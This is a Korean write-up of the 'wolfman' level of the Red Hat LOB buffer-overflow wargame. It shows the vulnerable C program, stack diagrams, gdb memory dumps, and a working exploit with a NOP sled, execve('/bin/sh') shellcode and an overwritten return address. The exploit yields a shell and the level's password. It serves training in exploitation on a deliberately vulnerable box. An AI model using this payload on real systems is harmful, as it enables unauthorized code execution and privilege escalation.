[redhat-lob] (5) wolfman¶
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1]의 47번째 문자열이 "\xbf"이어야 함
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./wolfman `python -c 'print "a"*47'`
stack is still your friend.
$ ./wolfman `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
argv[1]이 저장되는 주소 확인¶
앞의 조건에 argv[1][47]값이 "\xbf"인지 확인하기 때문에, gdb를 이용하여 argv[1]이 저장되는 주소(buffer)를 찾는다.
(gdb) b *main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/orc/wolfman1 `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied
Breakpoint 1, 0x8048500 in main ()
(gdb) stepi
0x8048501 in main ()
(gdb) i reg $esp
esp 0xbffffae8 -1073743128
(gdb) i reg $ebp
ebp 0xbffffb08 -1073743096
(gdb) x/100x $esp
==========================================================================
0xbffffae8: 0xbffffb08 0x400309cb 0x00000002 0xbffffb34
0xbffffaf8: 0xbffffb40 0x40013868 0x00000002 0x08048450
0xbffffb08: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffffb18: 0xbffffb34 0x08048390 0x0804861c 0x4000ae60
0xbffffb28: 0xbffffb2c 0x40013e90 0x00000002 0xbffffc2e
0xbffffb38: 0xbffffc43 0x00000000 0xbffffc74 0xbffffc96
0xbffffb48: 0xbffffca0 0xbffffcae 0xbffffccd 0xbffffcd9
0xbffffb58: 0xbffffcf2 0xbffffd0e 0xbffffd2d 0xbffffd38
0xbffffb68: 0xbffffd46 0xbffffd88 0xbffffd97 0xbffffdac
0xbffffb78: 0xbffffdbc 0xbffffdc5 0xbffffde3 0xbffffdee
0xbffffb88: 0xbffffdff 0xbffffe0d 0xbffffe1c 0xbffffe24
0xbffffb98: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffba8: 0x00000020 0x00000005 0x00000006 0x00000006
0xbffffbb8: 0x00001000 0x00000007 0x40000000 0x00000008
0xbffffbc8: 0x00000000 0x00000009 0x08048450 0x0000000b
0xbffffbd8: 0x000001f8 0x0000000c 0x000001f8 0x0000000d
0xbffffbe8: 0x000001f8 0x0000000e 0x000001f8 0x00000010
0xbffffbf8: 0x0fabfbff 0x0000000f 0xbffffc29 0x00000000
0xbffffc08: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc18: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc28: 0x38366900 0x682f0036 0x2f656d6f 0x2f63726f
0xbffffc38: 0x6f772f2e 0x616d666c 0x6100336e 0x61616161
^ ^
0xbffffc48: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ ^ argv[1] = 0xbffffc53
0xbffffc58: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffc68: 0x61616161 0x61616161 0x00bf6161 0x5353454c
==========================================================================
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1] 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀L▒▒▒
Segmentation fault
$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x53\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀S▒▒▒
bash$ whoami
wolfman
bash$ my-pass
euid = 505
love eyuna